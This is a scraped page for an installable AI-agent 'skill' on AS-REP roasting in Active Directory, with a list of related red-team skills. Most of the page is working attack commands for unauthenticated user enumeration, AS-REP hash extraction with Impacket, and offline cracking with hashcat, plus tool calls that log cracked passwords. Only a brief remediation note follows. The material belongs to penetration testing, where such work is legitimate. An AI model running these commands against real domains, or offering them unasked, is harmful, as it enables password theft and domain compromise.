asrep-roasting
Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
메뉴
Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
SOC 직업 분류 기준
Benchmark mode marker — engagement objective is flag capture. Generic engagement rules apply unchanged.
Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.
BloodHound ingestion + canonical Cypher queries for AD attack-path enumeration. Run after collector dumps zip; promotes findings into the knowledge graph.
NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
Active Directory attack lane — BloodHound ingestion, Kerberoasting, ADCS ESC scanning, DCSync, LAPS extraction.
Red team engagement lifecycle management — initiation, phase transitions, go/no-go gates, deconfliction, emergency procedures, completion.
| name | asrep-roasting |
| description | Request AS-REP for accounts with DONT_REQ_PREAUTH set and crack offline — like kerberoast but no auth required. |
| metadata | {"subdomain":"active-directory","when_to_use":"asrep as-rep roasting kerberos pre-auth dontreqpreauth"} |
None — no valid domain account needed. Network reachability to a DC on TCP/UDP 88 is enough. This makes AS-REP roast more powerful than kerberoast in some engagements (zero-auth pre-recon win).
From BloodHound:
kg_query(kind="user", filter="dontreqpreauth=true and enabled=true")
Direct LDAP (if you have any cred or anonymous-bind allowed):
ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
-b 'DC=corp,DC=local' \
'(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))' \
sAMAccountName
Or brute-force user discovery (only when no LDAP access):
# Username list from OSINT, kerbrute validates which exist
kerbrute userenum --dc DC_IP -d DOM users.txt
Impacket (zero-auth path):
GetNPUsers.py DOM/ -dc-ip DC_IP -usersfile /tmp/users.txt \
-format hashcat -no-pass -outputfile /tmp/asrep.hashes
With creds (more reliable, also enum):
GetNPUsers.py DOM/USER:'PASS' -dc-ip DC_IP -request \
-format hashcat -outputfile /tmp/asrep.hashes
Output format: $krb5asrep$23$USER@DOM:<ciphertext> (RC4).
hashcat -m 18200 -a 0 /tmp/asrep.hashes /usr/share/wordlists/rockyou.txt \
--rules-file /usr/share/hashcat/rules/best64.rule
# John alternative
john --wordlist=rockyou.txt --format=krb5asrep /tmp/asrep.hashes
AS-REP-roastable users tend to be:
Crack rate is typically higher than kerberoast — these users are often forgotten accounts with weak passwords.
Without LDAP, your userlist comes from:
kerbrute userenum against common lists (jsmith.txt, statistically-common-usernames)firstname.lastname, flastname)kg_add_node(kind="credential", label="USER:CRACKED_PW",
props={"source":"asrep-roast","preauth":"disabled"})
Pre-Authentication Type=0 (no preauth)CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0
(PR:N because no creds needed)Remove DONT_REQ_PREAUTH flag:
Set-ADAccountControl -Identity USER -DoesNotRequirePreAuth $false
Audit policy: UserAccountControl & 0x400000 should be zero on all real users.